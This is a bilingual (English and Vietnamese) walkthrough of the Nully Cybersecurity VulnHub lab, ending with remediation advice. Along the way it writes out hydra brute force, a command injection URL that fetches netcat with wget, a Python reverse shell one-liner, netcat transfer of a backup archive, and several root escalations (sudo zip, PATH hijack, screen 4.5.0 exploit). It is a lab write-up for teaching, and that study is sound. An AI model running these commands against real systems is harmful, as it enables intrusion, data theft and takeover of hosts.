khanh1916@sec:~/notes

~/notes / 2026 / nully-cybersecurity-walkthrough

Nully Cybersecurity (VulnHub): a beginner's walkthrough

A full, beginner-friendly walkthrough of the Nully Cybersecurity VulnHub machine: from an unauthenticated port scan to root on three separate servers, pivoting through an internal Docker network along the way.

Date
Target VulnHub
Difficulty Beginner
Flags 3
Read 12 min

Lab use only. Everything below runs against Nully Cybersecurity: 1, an intentionally vulnerable virtual machine on my own isolated network. Never run these techniques against a system you do not own or do not have written permission to test.

If you are just getting into penetration testing, a boot-to-root machine is one of the best ways to learn. You start with nothing but an IP address and work your way up to full administrator (root) access. This box is a good one to start with, because it is not a single puzzle. It is three machines chained together, and you have to pivot from one to the next.

By the end you will have touched almost every stage of a real engagement: recon, reading a mail server, password cracking, command injection, reverse shells, network pivoting, and four or five different privilege-escalation tricks.


Run it yourself

You can download the exact machine and follow along step by step.

   
Machine Nully Cybersecurity: 1
Author laf3r
Source VulnHub entry
Released 6 September 2020
Difficulty Easy to intermediate
Format VirtualBox OVA (~1.4 GB), NullyCybersecurityCTF.zip

Setup I used:

  1. Download the OVA from the VulnHub page and import it into VirtualBox (the author notes it runs better on VirtualBox than VMware). Check the download against the MD5/SHA1 checksums on the VulnHub page before you import.
  2. Put the target on a Host-Only adapter so it can reach only your attacker VM, not the internet. That keeps the lab safe and the scan results clean.
  3. Run a Kali (or any Linux) attacker VM on the same host-only network.

Throughout this write-up the target first shows up at 192.168.1.46. Your IP will differ, so substitute your own wherever you see it. This box was built in two sittings, so a couple of internal IPs shift partway through, and I call that out where it happens.


Flag 1: the mail server

Find the target

I do not know the machine’s IP yet, so I sweep the local network with netdiscover, which sends ARP requests and lists every host that answers:

netdiscover -i eth1 -r 192.168.1.0/24

One host stands out at 192.168.1.46, and its MAC address belongs to PCS Systemtechnik GmbH, the vendor ID VirtualBox uses. That is the box.

Scan it

nmap tells me which services are running. -sC runs the safe default scripts, -sV grabs version banners, -v is verbose:

nmap -sC -sV 192.168.1.46 -v

nmap results showing five open ports

Five ports are open:

Port Service
80 HTTP (web)
110 POP3 (email)
2222 SSH
8000 HTTP (another web app)
9000 (used later)

The website on port 80 hints that only POP3 (110) and SSH (2222) are meant to be attacked from outside, and it hands me a set of mailbox credentials.

Read the mail over POP3

POP3 is an old, plain-text email protocol, so I can talk to it by hand with telnet. USER and PASS log in, LIST shows waiting messages, and RETR 1 reads the first one:

telnet 192.168.1.46 110
USER pentester
PASS qKnGByeaeQJWTjj2efHxst7Hu0xHADGO
LIST
RETR 1

Reading Bob's email over POP3

There is one message, from the mail-server admin Bob Smith, and he admits his password is simple. That is a strong hint. Admins often reuse their own name, and a weak password invites brute force.

Brute-force SSH as Bob

I build a small wordlist of names tied to Bob (username.txt) and let hydra try each entry as both the username and the password against SSH on port 2222. -f stops at the first hit:

hydra -L username.txt -P username.txt -f ssh://192.168.1.46:2222

It lands on bob / bobby1985.

hydra finds bob's SSH password

ssh bob@192.168.1.46 -p 2222

From Bob to root

The first thing to check after you land on any Linux box is what the user may run as someone else:

sudo -l

Bob can run /opt/scripts/check.sh as the user my2user. That script is writable, so I append a line that launches a shell (/bin/bash) and run it, a classic step sideways into another account:

sudo -u my2user /bin/bash /opt/scripts/check.sh

Shell as my2user

Now, as my2user, I check sudo -l again. This user can run zip as root without a password. zip is on GTFOBins, which documents how everyday binaries get abused. The trick:

TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'

Why it works, in plain terms:

  • zip is allowed to run as root, so anything it launches also runs as root.
  • -T tells zip to test the archive after it builds it.
  • -TT 'sh #' replaces the normal test command with my own. zip runs sh, a root shell, and the # comments out the rest of the line.

That gives me a root shell on the mail server, and Flag 1.


Flag 2: pivoting to the web server

Root on one machine is rarely the whole story. This box lives inside an internal Docker network (172.17.0.0/16) that I can see only from the mail server. Reaching those hidden machines is called pivoting. First I drop an SSH key on the mail server as a stable way back in, then explore.

Map the internal network

From the mail server I scan the internal range with netdiscover:

netdiscover -i eth0 -r 172.17.0.0/16

172.17.0.1 is the gateway. Probing the rest:

  • 172.17.0.3 has port 80 open, a web server (confirmed with curl).
  • 172.17.0.2 has port 21 open, an FTP file server (used in Flag 3).

Tunnel the hidden web app to my machine

My attacker laptop cannot reach 172.17.0.x directly, so I build an SSH tunnel (local port forward) through the mail server. That makes the remote web server show up as localhost:8000 on my own machine:

ssh -L 8000:172.17.0.3:80 root@192.168.1.46 -p 2222 -i id_rsa

Local port forward established

Now http://localhost:8000 is the internal web server.

Find the vulnerable page

dirb brute-forces common file and directory names to find hidden pages:

dirb http://localhost:8000

It turns up a listable /ping/ directory with ping.php inside. A note on the page says to use a host parameter, and it runs that value without checking it:

http://localhost:8000/ping/ping.php?host=172.17.0.1

ping.php reflects command output (command injection)

That is a textbook OS command injection: whatever I append after a ; runs on the server.

Get a shell as www-data

First I stage a netcat binary onto the target through the injection. The low-privileged web user cannot install packages, so I wget a copy I host myself:

http://localhost:8000/ping/ping.php?host=; wget http://172.17.0.5:9000/nc
http://localhost:8000/ping/ping.php?host=; chmod 777 nc

The nc reverse shell did not fire, because this build lacks the -e option, so I fall back to a Python one-liner. It connects back to a listener I run on the mail server, my pivot box, at 172.17.0.5:9000:

python3 -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("172.17.0.5",9000));
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh","-i"])'

What each part does: create a network socket, connect it back to my listener, wire the shell’s input, output and errors (0, 1, 2) into that socket, then launch an interactive shell.

IP note: after a VM reboot the internal addresses shifted. At this point 172.17.0.5 is the mail server (my listener), 172.17.0.2 is the file server, and 172.17.0.3 is the web server. Adjust to whatever your own netdiscover shows.

Reverse shell as www-data

I land as the low-privileged www-data.

Two users, two escalations

Hunting for files owned by the interesting users turns up two leads:

find / -type f -user 1000 2>/dev/null   # Oscar
find / -type f -user 1001 2>/dev/null   # Oliver

Oliver left a .secret backup file with his password inside (4hppfvhb9pW4E4OrbMLwPETRgVo2KyyDTqGF), so I log in as Oliver.

Oscar owns a SUID python3, a program that always runs as its owner. Run it with the privileged flag and it keeps Oscar’s identity instead of dropping it:

python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

The -p means privileged mode: do not drop the elevated rights. From Oscar’s home I recover his password (H53QfJcXNcur9xFGND3bkPlVlMYUrPyBp76o) and SSH in as Oscar properly.

Root via a PATH hijack

Oscar’s home has a /scripts folder with a SUID-root program called current-date. SUID-root means it always runs as root, no matter who starts it. I read its strings:

strings current-date

strings output of current-date

It calls date without a full path, not /bin/date. So the system searches the folders in $PATH to find date, and I control $PATH. I plant a fake date that opens a root-preserving shell, put its folder first in $PATH, and run current-date:

cd /tmp
printf '#!/bin/bash\n/bin/bash -p\n' > date
chmod +x date
export PATH=/tmp:$PATH
current-date

The -p matters: a normal bash drops SUID privileges on launch, so without it you fall back to your own user. With -p, the shell keeps the root rights it inherited from the SUID current-date.

The original report did this same PATH hijack but kept the exact commands in screenshots. The block above is the standard, working form of the technique.

Root on the web server, 2_flag.txt

I own the web server now, and 2_flag.txt is mine.


Flag 3: the file server and the database server

Loot the file server over anonymous FTP

From the web server I can reach the file server at 172.17.0.2, which allows anonymous FTP: log in with the username anonymous and no password.

Anonymous FTP enabled

Inside are file.txt (nothing useful) and backup.zip. I move the archive back to my own machine with netcat so it is easier to work on:

# on the remote server
nc -w 3 192.168.18.145 8888 < backup.zip
# on my machine
nc -lvnp 8888 > backup.zip

Crack the archive password

The zip is encrypted. zip2john turns it into a hash that john (John the Ripper) can crack:

zip2john backup.zip > zip.hash
john zip.hash

The password is 1234567890.

john cracks the zip password

Inside are credentials for a user, donald, who has access to the database server. I SSH to it from the web server.

Root via the screen exploit

On the database server, linpeas (an automated privilege-escalation scanner) flags a SUID binary, screen-4.5.0. That exact version has a known local-root exploit, Exploit-DB 41154.

In short: screen runs as root, and this version mishandles its log-file option, so it can be tricked into loading an attacker-supplied shared library as root. The published exploit is a self-contained shell script. It writes and compiles two small helper files, a library and a tiny root-shell program, then launches screen so the library loads with root privileges:

# save Exploit-DB 41154 as 41154.sh, then:
chmod +x 41154.sh
./41154.sh
# -> drops you into a root shell

Root on the database server

That gives me root on the database server and the last flag. All three servers owned.


How to defend against this

Every flag here came from a misconfiguration or a bad habit, and all of them are fixable.

The first door was a weak, guessable password (bobby1985). Enforce strong, unique passwords and rate-limit SSH, and that door stays shut. The jump from Bob to the next account came from a writable script run through sudo, so never let a user edit a script they can run as someone else. The two root shells, on the mail server and the database server, came from binaries that should never have had those rights: zip in sudoers and an outdated SUID screen 4.5.0. Grant the narrowest sudo rights you can, check every allowed binary against GTFOBins, patch old software, and drop the SUID bit where nothing needs it.

The web server fell to two more everyday mistakes. ping.php passed user input straight to the shell, so build shell commands with safe APIs and allow-lists, never from raw input. current-date called a binary by name instead of its full path, so always use absolute paths and reset $PATH in privileged programs. The file server handed over a backup over anonymous FTP, protected only by the password 1234567890, so turn off anonymous access and treat backup archives as the sensitive files they are.

The whole chain held only because each machine trusted the one before it. Segment the internal network and keep privileges apart between the servers, so cracking one host does not hand over the rest.

Mọi thứ bên dưới tôi làm trên Nully Cybersecurity: 1, một máy ảo cố ý cài lỗ hổng, chạy trong mạng cô lập của riêng tôi. Đừng bao giờ đem các kỹ thuật này test lên hệ thống bạn không sở hữu hoặc chưa có giấy phép.

Nếu bạn mới bắt đầu học penetration testing, một máy dạng boot-to-root là cách học hiệu quả hàng đầu. Khởi đầu trong tay chỉ có một địa chỉ IP, rồi từng bước leo lên quyền root. Bài này đáng để bắt đầu, vì nó không phải một câu đố đơn lẻ. Nó là ba máy nối chuỗi với nhau, ta phải pivot từ máy này sang máy kế tiếp.

Đi hết bài, ta sẽ trải qua gần như mọi giai đoạn của một đợt pentest thực tế: recon, đọc mail server, crack password, command injection, reverse shell, pivot mạng, cùng bốn năm kỹ thuật leo quyền khác nhau.


Môi trường thực hành

Tải đúng máy ảo này về rồi làm theo từng bước.

   
Máy Nully Cybersecurity: 1
Tác giả laf3r
Nguồn Trang VulnHub
Phát hành 6/9/2020
Độ khó Dễ đến trung bình
Định dạng VirtualBox OVA (~1.4 GB), NullyCybersecurityCTF.zip

Setup tôi dùng:

  1. Tải OVA từ trang VulnHub rồi import vào VirtualBox (tác giả lưu ý nó chạy mượt trên VirtualBox hơn VMware). Trước khi import, nhớ check file tải về với checksum MD5/SHA1 ghi trên trang VulnHub.
  2. Gắn máy target vào card mạng Host-Only để máy chỉ kết nối được với máy tấn công của ta, không ra internet. Vừa giữ lab an toàn, vừa giúp kết quả quét mạng chính xác.
  3. Chạy một máy attack Kali (hay Linux bất kỳ) trong cùng mạng host-only đó.

Trong bài viết này, target ban đầu xuất hiện tại 192.168.1.46. Dải IP trên máy bạn có thể khác, hãy thay thế tương ứng khi thực hành. Do bài lab được dựng trong hai đợt khác nhau nên một vài IP nội bộ có sự thay đổi, tôi sẽ lưu ý rõ ngay tại bước tương ứng.


Flag 1: mail server

Tìm target

Giả sử ta chưa biết IP của máy. Ta scan mạng nội bộ bằng netdiscover, tool này gửi request ARP rồi liệt kê mọi host trả lời lại:

netdiscover -i eth1 -r 192.168.1.0/24

Một host nổi bật ở 192.168.1.46, MAC của nó là PCS Systemtechnik GmbH, đúng mã hãng VirtualBox hay dùng. Nó đây rồi.

Scan port

nmap cho ta biết service nào đang chạy. -sC chạy bộ script mặc định an toàn, -sV lấy banner version, -v để in chi tiết:

nmap -sC -sV 192.168.1.46 -v

Kết quả nmap với năm cổng mở

Có năm port mở:

Port Service
80 HTTP (web)
110 POP3 (email)
2222 SSH
8000 HTTP (một web app khác)
9000 (dùng ở phần sau)

Trang web ở port 80 ngầm gợi ý rằng ta chỉ có thể tiếp cận cổng POP3 (110) và SSH (2222) từ bên ngoài, đồng thời cung cấp sẵn một tài khoản đăng nhập hòm thư.

Đọc mail qua POP3

POP3 là protocol email đời cũ, dạng text thuần, nên ta gõ tay với nó bằng telnet được. USER và PASS để login, LIST liệt kê thư đang chờ, RETR 1 đọc thư đầu:

telnet 192.168.1.46 110
USER pentester
PASS qKnGByeaeQJWTjj2efHxst7Hu0xHADGO
LIST
RETR 1

Đọc email của Bob qua POP3

Chỉ có một thư duy nhất từ Bob Smith, quản trị viên của mail server. Trong thư, Bob thừa nhận mật khẩu của mình rất đơn giản. Đây là gợi ý quan trọng: quản trị viên thường có xu hướng đặt mật khẩu liên quan đến tên riêng, và mật khẩu yếu như vậy rất dễ bị bẻ khóa bằng brute force.

Brute-force SSH bằng account Bob

Ta liệt kê một wordlist nhỏ gồm các tên dính tới Bob (username.txt), rồi để hydra thử từng dòng, vừa làm username vừa làm password, nhắm vào SSH port 2222. -f dừng ngay khi trúng lần đầu:

hydra -L username.txt -P username.txt -f ssh://192.168.1.46:2222

Bruteforce ra: bob / bobby1985.

hydra tìm ra mật khẩu SSH của bob

ssh bob@192.168.1.46 -p 2222

Từ Bob leo lên root

Việc đầu tiên khi vào một máy Linux là xem user này chạy được gì dưới quyền người khác:

sudo -l

Bob được phép chạy /opt/scripts/check.sh dưới tài khoản my2user. Vì script này có quyền ghi (writable), ta chèn thêm một dòng mở shell (/bin/bash) rồi thực thi. Đây là bước di chuyển ngang (lateral movement) kinh điển để sang tài khoản khác:

sudo -u my2user /bin/bash /opt/scripts/check.sh

Shell với quyền my2user

Giờ đang là my2user, ta chạy sudo -l lần nữa. User này được chạy zip với quyền root mà không cần password. zip có trong GTFOBins, nơi liệt kê cách tận dụng các binary thường ngày để leo quyền. Cách làm như sau:

TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'

Nguyên lý hoạt động:

  • zip được thực thi dưới quyền root, nên mọi tiến trình con do nó khởi tạo đều kế thừa quyền root.
  • Cờ -T yêu cầu zip kiểm tra tính toàn vẹn của archive sau khi nén.
  • Cờ -TT 'sh #' thay thế lệnh kiểm tra mặc định bằng lệnh do ta chỉ định. zip sẽ gọi sh (shell với quyền root), còn ký tự # dùng để loại bỏ phần còn lại của câu lệnh gốc.

Xâm nhập mail server thành công. Flag 1 về tay.


Flag 2: pivot sang web server

Có root trên một máy hiếm khi là hết chuyện. Mô hình này nằm trong một mạng Docker nội bộ (172.17.0.0/16) mà ta chỉ thấy được từ mail server. Tiếp cận các máy ẩn đó gọi là pivoting. Trước hết ta thả một SSH key lên mail server làm đường quay lại cho chắc, rồi mới dò.

Vẽ bản đồ mạng nội bộ

Từ mail server, ta scan dải nội bộ bằng netdiscover:

netdiscover -i eth0 -r 172.17.0.0/16

172.17.0.1 là gateway. Dò tiếp các máy còn lại:

  • 172.17.0.3 mở port 80, một web server (xác nhận bằng curl).
  • 172.17.0.2 mở port 21, một file server FTP (dùng ở Flag 3).

Kéo web app ẩn về máy mình

Máy tấn công của ta không thể kết nối trực tiếp tới dải 172.17.0.x, nên ta tạo một SSH tunnel (local port forward) qua mail server. Nhờ vậy, web server nội bộ được chuyển tiếp về thẳng localhost:8000 ngay trên máy ta:

ssh -L 8000:172.17.0.3:80 root@192.168.1.46 -p 2222 -i id_rsa

Đã dựng local port forward

Giờ http://localhost:8000 chính là web server nội bộ.

Tìm trang dính lỗi

dirb dò các tên file và folder phổ biến để lần ra trang ẩn:

dirb http://localhost:8000

Kết quả tìm ra thư mục /ping/ cho phép liệt kê file (directory listing), bên trong có ping.php. Ghi chú trên trang cho biết script nhận tham số host, và giá trị này được đưa trực tiếp vào hàm thực thi lệnh hệ thống mà không qua khâu lọc dữ liệu:

http://localhost:8000/ping/ping.php?host=172.17.0.1

ping.php phản chiếu output của lệnh (command injection)

Đúng là OS command injection kiểu sách giáo khoa: thứ gì ta nối sau dấu ; cũng chạy trên server.

Lấy shell với quyền www-data

Trước tiên ta tải một binary netcat lên target qua lỗ injection. Web user quyền thấp, không cài package được, nên ta wget một bản tự host:

http://localhost:8000/ping/ping.php?host=; wget http://172.17.0.5:9000/nc
http://localhost:8000/ping/ping.php?host=; chmod 777 nc

Reverse shell bằng nc không thành công vì bản netcat trên máy đích không hỗ trợ cờ -e. Ta chuyển sang một dòng lệnh Python kết nối ngược về listener đang chạy trên mail server (máy pivot) tại 172.17.0.5:9000:

python3 -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("172.17.0.5",9000));
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh","-i"])'

Giải thích từng thành phần: tạo socket mạng, kết nối ngược về listener của ta, chuyển hướng các luồng dữ liệu chuẩn (stdin, stdout, stderr tương ứng 0, 1, 2) vào socket đó, rồi mở một shell tương tác.

Lưu ý về IP: sau một lần reboot VM, các địa chỉ nội bộ đổi chỗ. Tại thời điểm này 172.17.0.5 là mail server (listener của ta), 172.17.0.2 là file server, còn 172.17.0.3 là web server. Chỉnh theo đúng những gì netdiscover của bạn hiển thị.

Reverse shell với quyền www-data

Khai thác reverse shell thành công, ta chiếm được phiên làm việc với quyền người dùng www-data.

Hai user, hai đường leo quyền

Kiểm tra các file của những user đáng chú ý, ta thấy hai manh mối:

find / -type f -user 1000 2>/dev/null   # Oscar
find / -type f -user 1001 2>/dev/null   # Oliver

Oliver bỏ quên một file backup .secret, bên trong lưu sẵn mật khẩu của anh ta (4hppfvhb9pW4E4OrbMLwPETRgVo2KyyDTqGF), giúp ta đăng nhập trực tiếp vào tài khoản Oliver.

Về phía Oscar, tài khoản này sở hữu một binary python3 có bit SUID, đồng nghĩa với việc chương trình luôn chạy dưới quyền của chủ sở hữu. Thực thi Python ở chế độ privileged sẽ giữ nguyên quyền hạn của Oscar thay vì bị hệ thống tự động hạ quyền:

python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

Cờ -p kích hoạt chế độ privileged, ngăn shell tự động hạ quyền SUID. Trong thư mục home của Oscar, ta tìm thấy mật khẩu của tài khoản này (H53QfJcXNcur9xFGND3bkPlVlMYUrPyBp76o), từ đó có thể SSH trực tiếp bằng tài khoản Oscar.

Lên root bằng PATH hijack

Thư mục home của Oscar có thư mục con /scripts chứa chương trình SUID-root tên current-date. SUID-root nghĩa là chương trình luôn thực thi dưới quyền root, bất kể ai khởi chạy. Ta kiểm tra các chuỗi ký tự trong binary:

strings current-date

Output strings của current-date

Chương trình gọi lệnh date mà không dùng đường dẫn tuyệt đối (chẳng hạn /bin/date). Khi đó, hệ thống sẽ tìm kiếm binary date theo thứ tự các thư mục trong biến môi trường $PATH. Vì $PATH nằm trong quyền kiểm soát của người dùng, ta có thể tạo một file date giả lập để mở shell duy trì quyền root, đưa thư mục chứa file này lên đầu $PATH, rồi thực thi current-date:

cd /tmp
printf '#!/bin/bash\n/bin/bash -p\n' > date
chmod +x date
export PATH=/tmp:$PATH
current-date

Cờ -p ở đây là điểm then chốt. Theo mặc định, bash sẽ tự động hủy quyền SUID khi khởi chạy; nếu không có -p, shell sẽ rơi về quyền người dùng thông thường. Khi có cờ -p, shell sẽ giữ nguyên quyền root thừa hưởng từ binary current-date.

Báo cáo gốc cũng áp dụng kỹ thuật PATH hijack tương tự nhưng giữ các lệnh cụ thể trong ảnh chụp. Khối lệnh trên là cách làm chuẩn mực và thực thi trực tiếp được.

Root trên web server, 2_flag.txt

Giờ ta làm chủ web server. Tìm ra 2_flag.txt.


Flag 3: file server và database server

Khai thác file server qua FTP ẩn danh

Từ web server, ta kết nối tới file server tại 172.17.0.2. Máy chủ này cho phép đăng nhập FTP ẩn danh: username anonymous, mật khẩu để trống.

FTP ẩn danh được bật

Bên trong có file.txt (nội dung trống) và backup.zip. Ta chuyển archive về máy cá nhân bằng netcat để tiện xử lý:

# trên server từ xa
nc -w 3 192.168.18.145 8888 < backup.zip
# trên máy mình
nc -lvnp 8888 > backup.zip

Bẻ khóa mật khẩu archive

File zip đã được đặt mật khẩu bảo vệ. Ta dùng zip2john để trích xuất chuỗi hash rồi chuyển cho john (John the Ripper) bẻ khóa:

zip2john backup.zip > zip.hash
john zip.hash

Mật khẩu tìm được là 1234567890.

john crack mật khẩu zip

Bên trong file nén chứa thông tin đăng nhập của tài khoản donald, người có quyền truy cập database server. Ta SSH sang máy chủ đó trực tiếp từ web server.

Lên root bằng exploit screen

Trên database server, linpeas (công cụ tự động rà soát leo quyền) phát hiện một binary SUID: screen-4.5.0. Phiên bản này tồn tại một lỗ hổng leo quyền root cục bộ đã được công bố: Exploit-DB 41154.

Tóm tắt nguyên lý: screen chạy với đặc quyền root và xử lý tham số log-file không chặt chẽ, dẫn đến khả năng nạp một shared library tùy ý dưới quyền root. Script khai thác công khai là một shell script hoạt động độc lập: script tự tạo và biên dịch một thư viện chia sẻ cùng một chương trình root-shell nhỏ, sau đó gọi screen để nạp thư viện đó:

# lưu Exploit-DB 41154 thành 41154.sh, rồi:
chmod +x 41154.sh
./41154.sh
# -> mở ra shell với quyền root

Root trên database server

Thế là ta có root trên database server. Flag cuối về tay. Cả ba server đều bị chiếm.


Remediation

Mỗi flag ở đây đều đến từ một lỗi cấu hình hoặc một thói quen xấu, và cái nào cũng vá được.

Flag 1 vào được chỉ vì password của Bob quá yếu (bobby1985). Đặt password mạnh, khác nhau cho mỗi account, thêm rate-limit cho SSH là chặn được bruteforce. Bước từ Bob sang my2user đến từ một script chạy qua sudo mà user lại sửa được, nên đừng để ai sửa được một script họ có quyền chạy dưới quyền người khác. Hai lần lên root, trên mail server và database server, đến từ các binary không nên có quyền đó: zip trong sudoers và một screen 4.5.0 SUID đã quá cũ. Cấp quyền sudo hẹp nhất có thể, đối chiếu mọi binary được phép với GTFOBins, update phần mềm cũ, và gỡ bit SUID ở chỗ không cần.

Web server dính hai lỗi quen thuộc. ping.php đẩy thẳng input vào shell, nên dựng lệnh bằng API an toàn và allow-list chứ đừng ghép từ input thô. current-date gọi binary bằng tên thay vì full path, nên luôn dùng đường dẫn tuyệt đối và đặt lại $PATH trong chương trình chạy quyền cao. File server thì để lộ cả bản backup qua FTP ẩn danh, chỉ khóa bằng password 1234567890, nên tắt truy cập ẩn danh và coi backup là file nhạy cảm.

Cả chuỗi này nối được chỉ vì máy nào cũng tin máy đứng ngay trước nó. Hãy tách mạng nội bộ và giới hạn quyền giữa các server, để thủng một máy không kéo theo cả dải.